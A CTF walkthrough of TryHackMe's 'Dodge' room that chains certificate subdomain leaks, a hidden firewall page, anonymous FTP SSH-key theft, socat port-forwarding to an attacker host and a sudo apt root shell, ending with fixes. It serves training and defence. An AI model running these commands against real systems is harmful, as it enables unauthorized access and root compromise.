mintshell
VI

Dodge: SSL Certificate Disclosure to UFW Firewall Bypass, SSH Key Theft, and sudo apt Root

A walkthrough of TryHackMe's Dodge — an SSL certificate leaks internal subdomains, a hidden UFW management page lets us unblock FTP and steal an SSH key, an internal notes app reveals credentials, and sudo apt leads to root.

Platform
TryHackMe
Room
Dodge(external link)
Difficulty
Medium
Vulnerabilities
ssl certificate information disclosure, firewall misconfiguration, hardcoded credentials, insecure sudo configuration
6 min read

A walkthrough of TryHackMe’s “Dodge” room. An SSL certificate leaks internal subdomains, one of which hides a UFW firewall management page. We use it to unblock FTP, grab an SSH backup key via anonymous login, pivot through an internal notes app to steal another user’s credentials, and escalate to root through a sudo-misconfigured apt binary.

Flags, credentials, and private keys are redacted. Dodge is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Values shown as <redacted> are real on the box but withheld here.

TL;DR — the whole chain

TL;DR

Nmap finds ports 22, 80, 443. The SSL certificate on port 443 leaks seven subdomains including netops-dev.dodge.thm. That subdomain hosts a hidden form and a firewall.js script pointing to firewall10110.php — a UFW management page. The firewall rules show port 21 is denied. We allow it (or disable UFW entirely), connect via anonymous FTP, and download an SSH backup key for user challenger. Once on the box, we discover port 10000 listening locally — an internal notes app. We port-forward it out, find hardcoded credentials for user cobra in the login page source (or directly in the app’s PHP source). cobra can run sudo /usr/bin/apt without a password → GTFOBins technique → root.

The target

export IP=<target-ip>

Nmap reveals three open ports — SSH (22), HTTP (80), and HTTPS (443), both web ports running Apache 2.4.41:

22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu
80/tcp  open  http     Apache httpd 2.4.41 (403 Forbidden)
443/tcp open  ssl/http Apache httpd 2.4.41

Port 80 returns 403 for everything. Port 443 is where the action is — the SSL certificate is chatty.

The vulnerability: SSL certificate information disclosure

Insight

The TLS certificate’s Subject Alternative Name field lists seven DNS names:

DNS:dodge.thm, DNS:www.dodge.thm, DNS:blog.dodge.thm,
DNS:dev.dodge.thm, DNS:touch-me-not.dodge.thm,
DNS:netops-dev.dodge.thm, DNS:ball.dodge.thm

SSL certificates are public by design — anyone completing a TLS handshake sees them. Listing internal development subdomains in a production certificate hands attackers a free reconnaissance map of the infrastructure.

We add all seven to /etc/hosts and probe each one on ports 80 and 443. Most return 403, but two respond differently on port 443:

  • dev.dodge.thm — a phpinfo() page (useful for later, but not the entry point).
  • netops-dev.dodge.thm — appears blank, but the page source tells a different story.

Step 1 — discover the hidden UFW management page

The source of netops-dev.dodge.thm contains a form with display:none and a script tag loading firewall.js. That script references firewall10110.php — a web-based UFW firewall manager.

Navigating to https://netops-dev.dodge.thm/firewall10110.php reveals a full firewall rule editor. The current rules show:

  • Default policy: deny incoming, allow outgoing.
  • Port 21 (FTP) is explicitly denied.

The interface accepts commands in the format sudo ufw <command>. We allow FTP through:

sudo ufw allow 21

Alternatively, sudo ufw disable turns off the firewall entirely.

Step 2 — anonymous FTP reveals an SSH backup key

With port 21 unblocked, nmap confirms vsFTPd 3.0.3 with anonymous login enabled:

nmap -sC -sV -p 21 $IP
# -> 21/tcp open  ftp  vsftpd 3.0.3
# -> ftp-anon: Anonymous FTP login allowed

We connect anonymously. The FTP root is a user’s home directory containing a .ssh folder:

ftp -A $IP
# -> 230 Login successful.
ftp> ls -al
# -> .ssh/      (directory)
# -> user.txt   (no read permission)

Inside .ssh, we find authorized_keys and id_rsa_backup:

ftp> cd .ssh
ftp> get authorized_keys
ftp> get id_rsa_backup

The authorized_keys file reveals the username:

ssh-rsa AAAA... challenger@thm-lamp

Step 3 — SSH as challenger

chmod 400 id_rsa_backup
ssh -i id_rsa_backup challenger@$IP

We’re in as challenger and grab the user flag:

cat ~/user.txt
# -> THM{<redacted>}

Step 4 — pivot to cobra via the internal notes app

Checking for internal services:

ss -tulpn
# -> 127.0.0.1:10000  (listening locally)

Apache’s vhost configuration confirms a notes application bound to localhost:10000:

apache2ctl -t -D DUMP_VHOSTS
# -> 127.0.0.1:10000  localhost (/etc/apache2/sites-enabled/notes.conf:1)

We port-forward port 10000 to our attacker machine using socat. On the attacker:

socat TCP4-LISTEN:8844,bind=0.0.0.0,reuseaddr,fork TCP-LISTEN:4488,reuseaddr

On the target:

while true; do /tmp/socat TCP:$ATTACKER_IP:8844 TCP:127.0.0.1:10000; done

The notes app is now accessible at http://127.0.0.1:4488. Its login.php source contains credentials in an HTML comment. After logging in, the dashboard displays cobra’s SSH credentials in a “My SSH login” note.

Insight

Shortcut: With filesystem access as challenger, the same credentials are readable directly from the notes app’s source at /var/www/notes/api/posts.php — base64-encoded in a PHP variable:

cat /var/www/notes/api/posts.php
# -> $posts = 'W3si...In1d';
echo '<base64-string>' | base64 -d
# -> [{"title":"My SSH login","content":"cobra / <redacted>"}]

Port forwarding was the intended path; reading the source is the shortcut.

su cobra
# Password: <redacted>

Step 5 — sudo apt to root

cobra@dodge:~$ sudo -l
# -> (ALL) NOPASSWD: /usr/bin/apt

GTFOBins documents a clean privilege escalation through apt’s pre-invoke hooks:

sudo /usr/bin/apt update -o APT::Update::Pre-Invoke::=/bin/sh
# id
# -> uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
# -> THM{<redacted>}

Impact

Critical

High — multi-stage chain leading to full system compromise:

  • SSL certificate information disclosure — exposes internal subdomains that should not be publicly known.
  • Unauthenticated firewall management — a hidden but reachable page lets anyone modify UFW rules, opening any blocked port.
  • Anonymous FTP with SSH key exposure — an SSH private key backup is downloadable without credentials.
  • Hardcoded credentials in application source — another user’s SSH password is stored in plaintext inside a PHP file and displayed in a notes app.
  • Insecure sudo configuration — apt with NOPASSWD allows trivial privilege escalation to root via pre-invoke hooks.

Fix

  1. Strip internal hostnames from production certificates. Use separate certificates for internal and external services, or a wildcard that doesn’t enumerate development hosts.
  2. Remove the UFW management page (or at minimum, require strong authentication). A web interface that runs sudo ufw commands is a firewall bypass waiting to happen.
  3. Disable anonymous FTP and never store SSH private keys in FTP-accessible directories. Rotate the exposed key pair immediately.
  4. Never hardcode credentials in source code. Use environment variables or a secrets manager. The notes app storing SSH credentials in a base64-encoded PHP variable is plaintext storage with an extra step.
  5. Restrict sudo privileges. apt with NOPASSWD is a known escalation vector (GTFOBins). If package management must be delegated, use a constrained wrapper that blocks arbitrary pre-invoke commands.

Takeaways

  • SSL certificates are recon goldmines. Always check the SAN field — it often lists hostnames the developers forgot they included.
  • Hidden forms are not security. display:none hides a form from casual users, not from anyone who reads page source or uses devtools.
  • Internal services need authentication too. A notes app bound to localhost is reachable from anyone with a shell on the box. If it stores credentials, it must enforce access control.
  • sudo + package managers = root. apt, pip, npm, and similar tools can execute arbitrary code by design. Giving them NOPASSWD sudo is equivalent to giving root.

Thanks for reading. Dodge is a satisfying chain that rewards careful enumeration at every layer — from certificate fields to firewall rules to internal services — and shows how each small exposure compounds into full compromise.